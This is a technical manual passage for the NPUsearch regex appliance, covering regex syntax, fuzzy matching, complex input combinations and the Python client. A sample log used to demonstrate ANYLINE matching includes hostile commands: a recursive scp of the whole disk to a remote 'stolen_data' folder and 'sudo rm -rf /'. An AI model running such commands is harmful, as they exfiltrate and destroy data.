The generic character type escape sequences `\d`, `\D`, `\h`, `\H`, `\s`, `\S`, `\v`, `\V`, `\w`, and `\W` may appear in a character class, and add the characters that they match to the class. For example, `[\dABCDEF]` matches any hexadecimal digit. The escape sequence `\b` has a different meaning inside a character class; it matches the backspace character.

The minus (hyphen) character can be used to specify a range of characters in a character class. For example, `[d-m]` matches any letter between d and m, inclusive. If a minus character is required in a class, it must be escaped with a backslash or appear in a position where it cannot be interpreted as indicating a range, typically as the first or last character in the class, or immediately after a range. For example, `[b-d-z]` matches letters in the range b to d, a hyphen character, or z.

If a hyphen appears before or after a POSIX class (see below) or before or after a character type escape such as as `\d` or `\H`, an error is given.

It is not possible to have the literal character "]" as the end character of a range. A pattern such as `[W-]46]` is interpreted as a class of two characters ("W" and "-") followed by a literal string `46]`, so it would match "W46]" or "-46]". However, if the "]" is escaped with a backslash it is interpreted as the end of range, so `[W-\]46]` is interpreted as a class containing a range followed by two other characters. The octal or hexadecimal representation of "]" can also be used to end a range.

Ranges include all code points between the start and end characters, inclusive. They can also be used for code points specified numerically, for example `[\000-\037]`.

If a range that includes letters is used when caseless matching is set, it matches the letters in either case. For example, `[W-c]` is equivalent to ``[][\\^_`wxyzabc]``, matched caselessly, and `[\xc8-\xcb]` matches accented E characters in both cases.

A circumflex can conveniently be used with the upper case character types to specify a more restricted set of characters than the matching lower case type. For example, the class `[^\W_]` matches any letter or digit, but not underscore, whereas `[\w]` includes underscore. A positive character class should be read as "something OR something OR ..." and a negative class as "NOT something AND NOT something AND NOT ...".

The only metacharacters that are recognized in character classes are backslash, hyphen (only where it can be interpreted as specifying a range), circumflex (only at the start), opening square bracket (only when it can be interpreted as introducing a POSIX class name), and the terminating closing square bracket. However, escaping other non-alphanumeric characters does no harm.

7.1.7 Posix Character Classes

NPU*search* supports the POSIX notation for character classes. This uses names enclosed by `[:` and `:]` within the enclosing square brackets. For example,

```
[01[:alpha:]%]
```

matches "0", "1", any alphabetic character, or "%". The supported class names are:

- `alnum` letters and digits
- `alpha` letters
- `ascii` character codes 0 - 127
- `blank` space or tab only
- `cntrl` control characters
- `digit` decimal digits (same as `\d`)
- `graph` printing characters, excluding space
- `lower` lower case letters
- `print` printing characters, including space
- `punct` printing characters, excluding letters and digits and space
- `space` white space (the same as `\s` from PCRE2 8.34)
- `upper` upper case letters
- `word` "word" characters (same as `\w`)
- `xdigit` hexadecimal digits

The `space` characters are HT (9), LF (10), VT (11), FF (12), CR (13), and space (32). `space` and `\s` match the same set of characters. The name `word` is a Perl extension, and `blank` is a GNU extension from Perl 5.8. Another Perl extension is negation, which is indicated by a ^ character after the colon. For example,

```
[12[:^digit:]]
```

matches "1", "2", or any non-digit. NPU*search* also recognizes the POSIX syntax `[.ch.]` and `[=ch=]` where "ch" is a "collating element", but these are not supported, and an error is given if they are encountered. Characters with values greater than 127 do not match any of the POSIX character classes, unless the class is negated.

7.1.8 Vertical Bar

Vertical bar characters are used to separate alternative patterns. For example, the pattern

```
gilbert|sullivan
```

matches either "gilbert" or "sullivan". Any number of alternatives may appear, and an empty alternative is permitted (matching the empty string). The ordering of alternatives does not matter.

7.1.9 Internal Option Setting

The settings of the CASELESS, MULTILINE, DOTALL, INCLUDE_TRANSPOSES, EXTENDED, EXTENDED_MORE, and NO_AUTO_CAPTURE options can be changed from within the pattern by a sequence of letters enclosed between `(?` and `)`. When using Complex Syntax you can pass the letters into the 'flags' entry. These options are Perl-compatible, and are described in detail in the pcre2api documentation. The option letters are:

- `i` for CASELESS
- `m` for MULTILINE
- `n` for NO_AUTO_CAPTURE (currently does nothing)
- `s` for DOTALL
- `t` for INCLUDE_TRANSPOSES
- `x` for EXTENDED
- `xx` for EXTENDED_MORE

For example, `(?im)` sets caseless, multiline matching (same as passing in `'flags': 'im'` when using Complex Syntax). It is also possible to unset these options by preceding the relevant letters with a hyphen, for example `(?-im)`. The two "extended" options are not independent; unsetting either one cancels the effects of both of them.

A combined setting and unsetting such as `(?im-sx)`, which sets CASELESS and MULTILINE while unsetting DOTALL and EXTENDED, is also permitted. Only one hyphen may appear in the options string. If a letter appears both before and after the hyphen, the option is unset. An empty options setting `(?)` is allowed. Needless to say, it has no effect.

The MULTILINE option is turned on by default.

If the first character following `(?` is a circumflex, it causes all of the above options to be unset. Thus, `(?^)` is equivalent to `(?-imnsx)`. Letters may follow the circumflex to cause some options to be re-instated, but a hyphen may not appear.

When one of these option changes occurs at top level (that is, not inside group parentheses), the change applies to the remainder of the pattern that follows. An option change within a group (see below for a description of groups) affects only that part of the group that follows it, so

```
(a(?i)b)c
```

matches abc and aBc and no other strings (assuming CASELESS is not set earlier in the pattern). By this means, options can be made to have different settings in different parts of the pattern. Any changes made in one alternative do carry on into subsequent branches within the same group. For example,

```
(a(?i)b|c)
```

matches "ab", "aB", "c", and "C", even though when matching "C" the first branch is abandoned before the option setting. This is because the effects of option settings happen at compile time. There would be some very weird behaviour otherwise. As a convenient shorthand, if any option settings are required at the start of a non-capturing group (see the next section), the option letters may appear between the `?` and the `:`. Thus the two patterns

```
(?i:saturday|sunday)
```

```
(?:(?i)saturday|sunday)
```

match exactly the same set of strings.

The characters affected by the `(?i)` setting are `[a-z\xe0-\xfe]` except \xf7 and their corresponding equivalence. They are deemed equivalent to the character which has a code point 32 less. For example, "f" is code point \x66 and it is deemed equivalent to \x46, which is "F".

The character \xdf, which is known as "ß" or "sharp-s" officially has "SS" as it's corresponding caseless character. NPU*search* does not support matching `(?i)ß` with "SS" and treats "ß" as if it had no caseless equivalent.

The `(?t)` setting affects whether or not transposes are allowed in fuzzy matching, see Fuzzy

Matching below.

7.1.10 Groups

Groups are delimited by parentheses (round brackets), which can be nested. Turning part of a pattern into a group localizes a set of alternatives. For example, the pattern

```
cat(aract|erpillar|)
```

matches "cataract", "caterpillar", or "cat". Without the parentheses, it would match "cataract", "erpillar" or an empty string. Accessing capture groups is not supported. The characters `?:` at the start of a group will be parsed and ignored.

As a convenient shorthand, if any option settings are required at the start of a non-capturing group, the option letters may appear between the `?` and the `:`. Thus the two patterns

```
(?i:saturday|sunday)
```

```
(?:(?i)saturday|sunday)
```

match exactly the same set of strings. Because alternative branches are tried from left to right, and options are not reset until the end of the group is reached, an option setting in one branch does affect subsequent branches, so the above patterns match "SUNDAY" as well as "Saturday".

7.1.11 Repetition

Repetition is specified by quantifiers, which can follow any of the following items:

- a literal data character
- the dot metacharacter
- the `\C` escape sequence
- an escape such as `\d` that matches a single character
- a character class
- a parenthesized group (including lookaround assertions)

The general repetition quantifier specifies a minimum and maximum number of permitted matches, by giving the two numbers in curly brackets (braces), separated by a comma. The numbers must be less than 1000, and the first must be less than or equal to the second. For example,

```
z{2,4}
```

matches "zz", "zzz", or "zzzz". A closing brace on its own is not a special character. If the second number is omitted, but the comma is present, there is no upper limit; if the second number and the comma are both omitted, the quantifier specifies an exact number of required matches. Thus

```
[aeiou]{3,}
```

matches at least 3 successive vowels, but may match many more, whereas

```
\d{8}
```

matches exactly 8 digits. If the first number is omitted, the lower limit is taken as zero; in this case the upper limit must be present.

```
X{,4} is interpreted as X{0,4}
```

This is a change in behavior that happened in Perl 5.34.0 and PCRE2 10.43. NPUsearch followed for all releases in 2024. In earlier versions such a sequence was not interpreted as a quantifier. Other regular expression engines may behave either way.

If the characters that follow an opening brace do not match the syntax of a quantifier, the brace is taken as a literal character. In particular, this means that {,} is a literal string of three characters.

Note that not every opening brace is potentially the start of a quantifier because braces are used in other items such as \o{345} or \x{80}.

The quantifier `{0}` is permitted, causing the expression to behave as if the previous item and the quantifier were not present. Items that have a `{0}` quantifier are omitted from the compiled pattern.

For convenience, the three most common quantifiers have single-character abbreviations:

- `*` is equivalent to `{0,}`
- `+` is equivalent to `{1,}`
- `?` is equivalent to `{0,1}`

NPU*search* supports the EXNET subset of regular expressions, which means any "infinite repetition" (quantifiers `*`, `+`, and `{n,}`) can only be applied to a single character or character class. Anything else will throw an error.

When a parenthesized group is quantified with a minimum repeat count that is greater than 1 or with a limited maximum, more processing elements are required for the compiled pattern, in proportion to the size of the minimum or maximum.

7.1.12 Assertions

An assertion is a test on the characters following or preceding the current matching point that does not consume any characters. The simple assertions coded as `\b`, `\B`, `\A`, `\G`, `\Z`, `\z`, `^` and `$` are described above.

More complicated assertions are coded as parenthesized groups. NPU*search* only supports one of the are two kinds: those that look ahead of the current position in the subject string are not supported, and those that look behind it are supported, and in each case an assertion may be positive (must match for the assertion to be true) or negative (must not match for the assertion to be true). An assertion group is matched in the normal way, and if it is true, matching continues after it, but with the matching position in the subject string reset to what it was before the assertion was processed.

NPU*search* assertions are all non-atomic; that is if an assertion is true, but there is a subsequent matching failure, there will be backtracking into the assertion.

For a positive assertion, matching continues with the next pattern item after the assertion. For a negative assertion, a matching branch means that the assertion is not true.

Most assertion groups may be repeated; though it makes no sense to assert the same thing several times.

7.1.12.1 Alphabetic assertion names

Traditionally, the symbolic sequences `(?<=` and `(?<!` have been used to specify lookbehind assertions. PCRE2 supports a set of synonyms such as `(*plb`, however NPU*search* does not support those synonyms.

7.1.12.2 Lookahead assertions

NPU*search* does not support lookahead assertions.

7.1.12.3 Lookbehind assertions

Lookbehind assertions start with `(?<=` for positive assertions and `(?<!` for negative assertions. For example,

```
(?<!foo)bar
```

does find an occurrence of "bar" that is not preceded by "foo".

The contents of a lookbehind assertion are not restricted in any way. Any expression that can be used outside a lookbehind can be used inside a lookbehind.

The implementation of lookbehind assertions is to calculate if the lookbehind matches in parallel with the rest of the regex, and then AND the results of the lookbehind and if the engine is currently at the location for the lookbehind in the main regex branch. For example, the expression `[bc]at(?<=ca[rt])s` will attempt to match `[bc]at` and `ca[rt]` in parallel and only attempt to match the last `s` if both of the two expressions returned a match on the same byte.

7.1.12.4 Using multiple assertions

Several assertions (of any sort) may occur in succession. For example,

```
(?<=\d{3})(?<!999)foo
```

matches "foo" preceded by three digits that are not "999". Notice that each of the assertions is applied independently at the same point in the subject string. First there is a check that the previous three characters are all digits, and then there is a check that the same three characters are not "999". This pattern does not match "foo" preceded by six characters, the first of which are digits and the last three of which are not "999". For example, it doesn't match "123abcfoo". A pattern to do that is

```
(?<=\d{3}...)(?<!999)foo
```

This time the first assertion looks at the preceding six characters, checking that the first three are digits, and then the second assertion checks that the preceding three characters are not "999". Assertions can be nested in any combination. For example,

```
(?<=(?<!foo)bar)baz
```

matches an occurrence of "baz" that is preceded by "bar" which in turn is not preceded by "foo", while

```
(?<=\d{3}...(?<!999))foo
```

is another pattern that matches "foo" preceded by three digits and any three characters that are not "999".

7.1.13 Non-atomic Assertions

All NPU*search* assertions are non-atomic.

7.1.14 Fuzzy Matching

NPUsearch syntax allows for fuzzy matching using either Levenshtein distance or "optimal string alignment" (OSA) distance (default is Levenshtein). The basic syntax is

```
(?~n~word)
```

which matches all text where the distance between the text and `word` is less than or equal to `n`. For example, the expression

```
(?~2~fuzzy) expression
```

matches the text "fuzzy expression" (no edits, distance 0), "fuzy expression" (one deletion, distance 1), "fu77y expression" (two substitutions, distance 2), and many others, but not "fuzzier expression" (one substitution and two insertions, distance 3).

There are two ways to use OSA distance instead of Levenshtein distance. The first is to use the flag "t", as mentioned in the Internal Option Setting section. The second is to put the letter "t" after the `n`, as in `(?~2t~fuzzy)`. Both have the same effect on the specific fuzzy clause. Note that the `(?-t)` syntax turns off transposes but there is no way to turn off transposes inside the `(?~n~word)` syntax.

When using OSA distance, transposes are considered one edit. For example, the expression `(?~1~fuzzy) expression` does not match the text "fuzyz expression" but the expression `(?~1t~fuzzy) expression` does. Please note that OSA distance is not true Damerau-Levenshtein distance and does not allow for insertions/deletions inside transpositions.

By default, all possible bytes are valid for insertions/substitutions. To restrict to only certain bytes, pass in an `"fuzzy_bytes": str` entry into complex input. The value is parsed as a character class. For example, to restrict to only letters, pass `"fuzzy_bytes": "[a-zA-Z]"`. When using logical combinations this entry is overwritten to be `"[^\n]"` so as to not allow newlines in ANYLINE/EVERYLINE matching.

The value of `n` is restricted by NPU resources, and cannot exceed 12 when using Levenshtein distance or 6 when using OSA distance (a Compile Error will be raised). However, more complex expressions may have a lower upper bound for `n`.

Fuzzy matching requires many PEs. For a subexpression `(?~n~word)`, the number of compiled PEs is approximately `c*n*length(word)`, for some constant `c`. The constant `c` is approximately `5/3`x greater when using transpositions than when not.

7.1.15 PCRE Syntax not supported by NPU*search*

7.1.15.1 Special Start-of-pattern Items

Special start-of-pattern items are not supported and will cause an error.

7.1.15.2 EBCDIC Character Codes

EBCDIC character codes are not supported by NPU search. NPU search only supports Latin1 encoding.

7.1.15.3 Compatibility Feature for Word Boundaries

`[[:<:]]` and `[[:>:]]` are not supported and will cause an error.

7.1.15.4 Duplicate Group Numbers

`(?|...)` syntax is not supported and will cause an error.

7.1.15.5 Named Capture Groups

Named capture groups are not supported and will cause an error. This includes `(?<name>...)`, `(?'name'...)`, and `(?P<name>...)` syntax.

7.1.15.6 Atomic Grouping and Possessive Quantifiers

Atomic grouping will be parsed and a warning will be thrown. Possessive quantifiers will be parsed and a warning will be thrown. Matching will proceed as if the grouping was not atomic or as if the quantifier was not possessive, which may cause false positives.

7.1.15.7 Backreferences

Backreferences are not supported. Any numeric backreference will be parsed as an octal escape and a warning will be thrown. `\g` will cause an error.

7.1.15.8 Script Runs

Script runs are not supported and will cause an error.

7.1.15.9 Conditional Groups

Conditional groups are not supported and will cause an error.

7.1.15.10 Comments

Comments are not supported. `?#` will cause an error. PCRE2_EXTENDED and PCRE2_EXTENDED_MORE options are not supported.

7.1.15.11 Recursive Patterns

Recursive patterns are not supported and will cause an error.

7.1.15.12 Groups as Subroutines

Groups as subroutines are not supported and will cause an error.

7.1.15.13 Oniguruma Subroutine Syntax

Oniguruma subroutine syntax is not supported and will cause an error.

7.1.15.14 Callouts

Callouts are not supported and will cause an error.

7.1.15.15 Backtracking Control

Backtracking control is not supported and will cause an error.

7.2 Complex Input Guide

7.2.1 Overview

In addition to supporting standard regular expression syntax, the NPU*search* compiler can compile combinations of expressions in non-standard ways. The two currently supported additional ways are

1. **At least *n***: Files are only returned if at least *n* of the selected regular expressions match anywhere in the file. If fewer than *n* expressions match in a file, that file is not returned.

2. **Combinations**: Files are only returned if a specific combination of regular expressions match or do not match anywhere in the file.

A user must follow a specific syntax to use this functionality.

In certain cases, a user should not use this functionality, and instead search for all the expressions normally, doing any post-results analysis in software. If all of the following conditions hold, then a user should do the analysis in software. If any of the following conditions do not hold, then a user should let the NPU evaluate "at least *n*" or "combinations".

- The number of files which match at least one expression is of a manageable size.
- The maximum number of expressions matched by a single file is less than or equal to the number of match gaps (currently 16).
- When "at least *n*" is desired, *n* must be less than or equal to the number of match gaps (currently 16).

7.2.2 Overall syntax

When inputting expressions into `NPUGlusterClient.scan()` or `check_expressions`, the simple syntax is to input an iterable of expressions. The indices of expressions which matched a given file are returned.

The complex input syntax is to input an iterable of dictionaries, each of which represents one expression. The dictionaries must be formatted as such for different types:

```
        {'type': 'expression',
         'expr': str,
         'flags': str, #optional
         'fuzzy_bytes': str, #optional
         'id': int, #optional
         'ref_id': int, #optional
         'output_id': int} #optional

         {'type': 'at_least_n',
         'refs': list of ints,
         'n': int,
         'id': int, #optional
         'ref_id': int, #optional
         'output_id': int, #optional
         'maybe_match_id': int} #optional

         {'type': 'combination',
         'formula': str,
         'id': int, #optional
         'ref_id': int, #optional
         'output_id': int, #optional
         'simplify': bool} #optional
```

Example:

```
        >>> from npusearch import NPUGlusterClient
        >>> client = NPUGlusterClient(gluster_hosts='localhost', gluster_volname='gv0')
        >>> exprs = [
        ...     {'type': 'expression', 'expr': 'Hello', 'ref_id': 101},
        ...     {'type': 'expression', 'expr': 'World', 'ref_id': 102},
        ...     {'type': 'expression', 'expr': 'hello', 'ref_id': 103},
        ...     {'type': 'expression', 'expr': 'world', 'ref_id': 104},
        ...     {'type': 'at_least_n', 'refs': [101,102,103,104], 'n': 2, 'output_id': 201},
        ...     {
        ...         'type': 'combination',
        ...         'formula': '(101 AND 102) OR (103 AND 104)',
        ...         'output_id': 301,
        ...     },
        ...     {'type': 'expression', 'expr': 'Hello World', 'output_id': 1},
        ... ]
        >>> client.scan(exprs, ['examples/*'])
        {'pe_usage': 47,
         'matches': [{'matches': [1, 201, 301],
           'overflow': False,
           'path': 'examples/Hello_World.txt',
           'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'}],
         'errors': [],
         'exceptions': {}}
```

All types have the fields `'type'`, `'id'`, `'ref_id'`, and `'output_id'`.

- The `'type'` field tells the compiler what type of syntax is inputted.
- The `'id'` field is an alias for `'ref_id'` and `'output_id'`. Instead of passing in the same value to both `'ref_id'` and `'output_id'`, a user can pass that value to the `'id'` field instead and it will propagate to the other two fields.
- The `'ref_id'` field is so that other expressions can reference each other.
- The `'output_id'` field is the number which is returned in the match result as opposed to the index of the dictionary inside the iterable.

Both `'ref_id'` and `'output_id'` are optional, but if a user doesn't include either the expression is ignored. If an expression is not referenced anywhere else, no `'ref_id'` is needed. If a user does not want to include which files an expression matched in the match result, no `'output_id'` is needed. In general, a user should only include the `'output_id'` if they are interested in which files an expression matched, since including it currently uses additional PEs and can clutter up the match result with many additional matched files. All `'ref_id'`s must be unique and all `'output_id'`s must be unique among the passed in expressions, however a number can be used as both a `'ref_id'` and an `'output_id'`.

Section 5.2.6 contains a few recipes for converting common expression input formats into complex input syntax.

7.2.3 `expression`

The `'expression'` type compiles the same as a simple regular expression string. It is used as the building block for `'at_least_n'` and `'combination'` expressions, or if a user wants to have a specific output id for an expression. See the 'Internal Option Setting' section above for how to use 'flags' and 'Fuzzy Matching' for how to use 'fuzzy_bytes'.

7.2.3.1 Example

Note how the last expression has a `'ref_id'` but no `'output_id'`, so there are no match results for that expression. In this example, no other expressions reference that expression, so it is ignored.

```
        >>> exprs = [
        ...     {'type': 'expression', 'expr': r'NPUsearch', 'flags': 'i', 'output_id': 27},
        ...     {'type': 'expression', 'expr': r'Hello', 'output_id': 42},
        ...     {'type': 'expression', 'expr': r'\w+', 'ref_id': 10},
        ... ]
        >>> client.scan(exprs, ['examples/*'], return_type='gluster')
        {'pe_usage': 5,
         'matches': [{'matches': [27],
           'overflow': False,
           'path': 'examples/NPUsearch.txt'},
          {'matches': [27], 'overflow': False, 'path': 'examples/LRL.txt'},
          {'matches': [42], 'overflow': False, 'path': 'examples/Hello_World.txt'}],
         'errors': [],
         'exceptions': {}}
```

7.2.4 `at_least_n`

WARNING: Omitting `'maybe_match_id'` can lead to false negative results.

The `'at_least_n'` syntax includes `'refs'`, `'n'`, and `'maybe_match_id'`. A match can happen when at least `'n'` of the expressions referenced in `'refs'` match on a given file. However, there are cases where a match which should be reported will not be reported due to hardware limitations. This can occur when, for all *b*, at least *b* of the expressions referenced match in the last *b* bytes of the file. In these cases a match is returned with the id of `'maybe_match_id'`. We strongly recommend always including `'maybe_match_id'` as not including it can lead to false negative results.

There are cases where a match is returned with `'maybe_match_id'` when a match should not be reported. Same as above, this can occur when, for all *b*, at least *b* of the expressions referenced match in the last *b* bytes of the file. For this reason, we strongly recommend avoiding `'$'`, `'\\z'`, and `'\\Z'` in expressions which are referenced by an `'at_least_n'` expression, since these cause matches to occur at the end of the file.

`'refs'` is a list of `'ref_id'`s of other expressions. Currently, all of the expressions referenced must be of type `'expression'`.

7.2.4.1 Example

Consider the expressions:

```
exprs = [
 {'type': 'expression', 'expr': 'L(ewis )?R(hodes )?L(abs)?', 'ref_id': 0},
 {'type': 'expression', 'expr': 'neuromorphic\s*computing', 'flags': 'i', 'ref_id': 1},
 {'type': 'expression', 'expr': 'extremesearch', 'flags': 'i', 'ref_id': 2},
 {'type': 'expression', 'expr': 'datalake', 'flags': 'i', 'ref_id': 3},
 {'type': 'at_least_n', 'refs': [0,1,2,3], 'n': 2, 'output_id': 0, 'maybe_match_id': 4}
]
```

Then the following text fragments would match:

- "Lewis Rhodes Labs uses ExtremeSearch to search large datalakes"
- "Neuromorphic computing allows many datalakes to be searched."
- "If you have a large datalake, you need ExtremeSearch."

The following text fragments would not match:

- "Only neuromorphic computing appears in this fragment."
- "Even though Lewis Rhodes Labs (LRL) is repeated in two forms, it only counts as one expression."
- "None of the expressions appear here."

The following text fragment would return a maybe_match:

- "Since the only expression matches at the end, a maybe_match would be returned by ExtremeSearch"

7.2.4.2 Formatting Recipe

```
def iterable_to_at_least_n(iterable, n, output_id=0, maybe_match_id=1):
    """
    When you have an iterable of expressions and a "n" value for "at_least_n",
    this function converts it to a valid complex input format.

    Parameters
    ----------
    iterable : iterable of strings
        Each string represents one expression.

    n : int
```

```
        The "n" in "at_least_n".
        The minimum number of expressions that a file needs to match.

    output_id : int, optional
        output_id for final "at_least_n" expression. The default is 0.

    maybe_match_id : int, optional
        maybe_match_id for final "at_least_n" expression. The default is 1.

    Returns
    -------
    exprs : dict
        Use as input into client.scan().


    Example:
    >>> iterable = ['expr0', 'expr1', 'expr2', 'expr3']
    >>> n = 2
    >>> iterable_to_at_least_n(iterable, n)
    [{'type': 'expression', 'expr': 'expr0', 'ref_id': 2},
     {'type': 'expression', 'expr': 'expr1', 'ref_id': 3},
     {'type': 'expression', 'expr': 'expr2', 'ref_id': 4},
     {'type': 'expression', 'expr': 'expr3', 'ref_id': 5},
     {'type': 'at_least_n',
      'refs': [2, 3, 4, 5],
      'n': 2,
      'output_id': 0,
      'maybe_match_id': 1}]

    """
    expr_list = list(iterable)
    if n > len(expr_list):
        raise SyntaxError(f'"n" ({n}) cannot be larger than the number of '
                          f'expressions ({len(expr_list)}).')

    ref_ids = []
    i = 0
    while len(ref_ids) < len(expr_list):
        if i not in {output_id, maybe_match_id}:
            ref_ids.append(i)
        i += 1

    exprs = [{'type': 'expression', 'expr': expr, 'ref_id': ref_id}
             for ref_id, expr in zip(ref_ids, expr_list)]
    match_n = {'type': 'at_least_n', 'refs': ref_ids, 'n': n,
               'output_id': output_id, 'maybe_match_id': maybe_match_id}
    exprs.append(match_n)
    return exprs
```

7.2.5 `combination`

The `'combination'` syntax includes `'formula'` and `'simplify'`. `'formula'` is a string which represents a boolean combination of expressions using `'ref_id'`s. Currently, all of the expressions referenced must be of type `'expression'` or `'combination'`. Logical ands, ors, and nots are supported by multiple syntax formats:

- Logical not: `'NOT'`, `'!'`, `'~'`
- Logical and: `'AND'`, `'&'`
- Logical or : `'OR'` , `'|'`

The priority order is: not, and, or. As an example, the expression `NOT 0 AND 1 OR 2 AND NOT 3 OR 4` is equivalent to `((NOT 0) AND 1) OR (2 AND (NOT 3)) OR 4`.

By default, combinations are on a file level. That is, the expression `1 AND 2` will match if expression 1 and expression 2 match on the same file. To perform the combinations on a line level, use the word `ANYLINE` or `EVERYLINE`. The expression `EVERYLINE(1 OR 2)` will match if on everyline either expression 1 or expression 2 matches. The expression `ANYLINE(1 AND 2)` will match if both expression 1 and expression 2 match on the *same* line anywhere in the file. The character '\n' is used to determine line breaks

Note that `NOT ANYLINE(0)` ≡ `EVERYLINE(NOT 0)` and `NOT EVERYLINE(0)` ≡ `ANYLINE(NOT 0)`. DeMorgan's Law also holds inside ANYLINE/EVERYLINE, that is `ANYLINE(NOT(0 OR 1))` ≡ `ANYLINE(NOT 0 AND NOT 1))` and `EVERYLINE(NOT(0 AND 1))` ≡ `EVERYLINE(NOT 0 OR NOT 1))`.

Combining file level and line level matching in the same expression is permitted. For example, the expression `1 AND NOT EVERYLINE(2)` will match when both expression 1 is in the file and not everyline matches expression 2.

Nesting ANYLINE/EVERYLINE is not permitted. For example, the expression `ANYLINE(1 OR EVERYLINE(2 AND 3))` would raise a syntax error. It is unclear what nesting ANYLINE/EVERYLINE would even mean.

Including expressions that could match newlines (`\n`) inside ANYLINE/EVERYLINE is not permitted. For example, if expression 0 is `foo\nbar`, the combination `EVERYLINE(0)` would raise a syntax error. It is unclear what matching an expression on any line or every line would even mean if an expression crosses line boundaries. If your expression includes a charactor class, such as `\W` which can match new lines, consider how changing the character class to one which does not match newlines would affect your expression. In this example, consider using `[^\w\n]` instead of `\W` and check to ensure your expression still matches/does not match what you want it to.

If the file ends with a trailing `\n` character, there is no blank newline after it at the end of the file. For example, a file containing `1\n2\n3` would have the same lines as a file containing `1\n2\n3\n`. A file containing `1\n2\n3\n\n` would have a fourth line which is blank. This can be important to keep track of when matching negations of expressions. For example, if expression 0 is `\d+` and the combination is `ANYLINE(NOT 0)`, then this expression would not match on `1\n2\n3` and `1\n2\n3\n` but would match on `1\n2\n3\n\n`. To not include blank lines in matching, try something like this: Let expression 1 be `.` (dot). Then `ANYLINE(1 AND NOT 0)` will ensure that blank lines will not match.

Passing in `'simplify': True` causes the compiler to attempt to simplify the `'formula'` using `sympy.simplify_logic`. No simplification is made if `sympy` is not installed or `'simplify'` is left blank. The potential advantage of simplification is that it could cause the result to use fewer PEs.

Currently, the compiler combines the expressions given into one large expression which represents the boolean combination. This can be done manually as well, which often results in better processing element utilization. To attempt this manually, please see the document 'logical_combinations_guide.pdf'.

7.2.5.1 Examples

This example also demonstrates how NPUsearch evaluates the entire file before determining whether the logical combination is True. Consider the expressions:

```
        exprs = [
         {'type': 'expression', 'expr': 'opq', 'ref_id': 1},
         {'type': 'expression', 'expr': 'rst', 'ref_id': 2},
         {'type': 'expression', 'expr': 'baz.*uv', 'ref_id': 3},
         {'type': 'expression', 'expr': 'neuromorphic{3,}', 'ref_id': 4},
         {'type': 'expression', 'expr': 'wxy[Zz]', 'ref_id': 5},
         {'type': 'combination', 'formula': '((2 | 3) & 1) & (4 | ! 5)', 'output_id': 0}
        ]
```

Consider the data: `"-------opq-baz-uv"`. Observe that expressions 1 and 3 are the only expressions which match, which causes the combination to evaluate to `True`. A match would then be returned in this scenario.

However, consider the data: `"-------opq-baz-uv-----wxyZ"`, which is the data from above with additional text added on. Observe that expressions 1, 3, and 5 are the only expressions which match, which causes the combination to evaluate to `False`. A match would not be returned in this scenario.

Note also that only `0` would ever be returned in the `'matches'` list as it is the only output id.

Consider the expressions:

```
        exprs = [
         {'type': 'expression', 'expr': 'SECURITY', 'flags': 'i', 'ref_id': 1},
         {'type': 'expression', 'expr': 'ERROR', 'flags': 'i', 'ref_id': 2},
         {'type': 'combination', 'formula': 'ANYLINE(1 AND 2)', 'output_id': 0}
        ]
```

Consider the example fake log:

```
Jul 15 14:25:27 office_server SECURITY: User admin logged in.
Jul 15 14:30:01 office_server SECURITY: User admin logged out.
Jul 15 14:30:21 office_server ERROR: Script 'run_slow_search' hung and did not finish.
Jul 15 14:30:31 office_server INFO: Script 'run_extremesearch' finished after running at blazing
fast speed.
Jul 15 14:31:33 office_server SECURITY: ERROR: User H4CKER logged in.
Jul 15 14:35:33 office_server SECURITY: User H4CKER changed password for user admin.
Jul 15 14:40:35 office_server SECURITY: User admin attempted to log in but did not supply
correct credentials.
Jul 15 14:40:45 office_server SECURITY: User admin attempted to log in but did not supply
correct credentials.
Jul 15 14:40:55 office_server SECURITY: User admin attempted to log in but did not supply
correct credentials.
Jul 15 14:45:31 office_server INFO: User H4CKER ran 'sudo scp -r / remote_server:~/stolen_data/'
Jul 15 15:42:37 office_server INFO: User H4CKER ran 'sudo rm -rf /'
```

In this example, there are many lines which would match `SECURITY` and multiple lines which would match `ERROR`. However, the expression `ANYLINE(1 AND 2)` would match only on the fifth line in the log file, where both of the expressions match. ANYLINE/EVERYLINE can be useful for analyzing log data in this way.

8 Python Documentation

8.1 npusearch - Fast regex searching

Source code: `/opt/lrl/share/python/npusearch/` (on any Extreme Search® appliance)

The `npusearch` package provides access for the LRL Extreme Search® appliance. It contains a client class to connect to backends with via redis, as well as a few commandline utilities. This document is the guide to the python API for NPUsearch.

8.1.1 NPUGlusterClient

A user must start with an instance of the client class:

class npusearch.**NPUGlusterClient**(*gluster_hosts=None, gluster_volname=None, gluster_args=None, redis_host=None, redis_args=None, response_prefix='npusearch:response', registry_prefix='npusearch:registry', registry=None, hostname=None*)

Construct a NPUGlusterClient instance.

If gluster access is desired, *gluster_hosts* and *gluster_volname* must be passed in (or *gluster_args* must contain the keys `'hosts'` and `'volname'`). Otherwise, no gluster lookups will be preformed, and files must be specified relative to the root of the mounted SSDs themselves, or using absolute paths of format `<hostname>:/absolute/path/to/file`

If no gluster access is needed and the redis server to use is running on the local machine with default parameters, all arguments are optional.

gluster_hosts is a string or iterable of strings of gluster servers

gluster_volname is the name of a gluster volumne for the client to connect to. Extreme Search® appliances ship with a gluster volume `gv0`, typically mounted at `/mnt/gv0`. To look up files in this gluster volume, `gluster_volname="gv0"` must be specified.

gluster_args is passed into `gfapi.Volume(hosts=gluster_hosts, volname=gluster_volname, **gluster_args)` when the client mounts to the volume.

redis_host is the host name of the redis server. If left blank, it defaults to `'localhost'`.

redis_args is passed into `redis.Redis(host=redis_host, **redis_args)` when the client connects to redis.

response_prefix is the prefix to use when generating our response channel. If not provided it defaults to `'npusearch:response'`.

registry_prefix: see *registry* below. If not provided it defaults to `'npusearch:registry'`.

registry is the registry key to look for backends under as f'{registry_prefix}:{registry}'.

hostname is the value to use as hostname. If not provided the value returned by `hostname(1)` is used.

Example: To connect to an Extreme Search® appliance named 'server01' using default configuration, a user could use **NPUGlusterClient** using:

```
>>> from npusearch import NPUGlusterClient
>>> client = NPUGlusterClient(gluster_hosts=['server01'],
...                           gluster_volname='gv0',
...                           redis_host='server01',
...                           registry_suffix='server01')
```

When the user is connecting from 'server01' itself, this can be simplified to

```
>>> client = NPUGlusterClient(gluster_hosts='localhost',
...                           gluster_volname='gv0')
```

8.1.1.1 NPUGlusterClient Functions

8.1.1.1.1 scan

NPUGlusterClient.**scan**(*self, exprs, files, registry*=*None, root*=*None, timeout*=*None, callback*=*None, precompiled*=*False, return_type*=*None, collect*=*True, compile_args*=*None, show_compiler_warnings*=*True, clean*=*True, hostname*=*None, condition*=*None, **kwargs*)

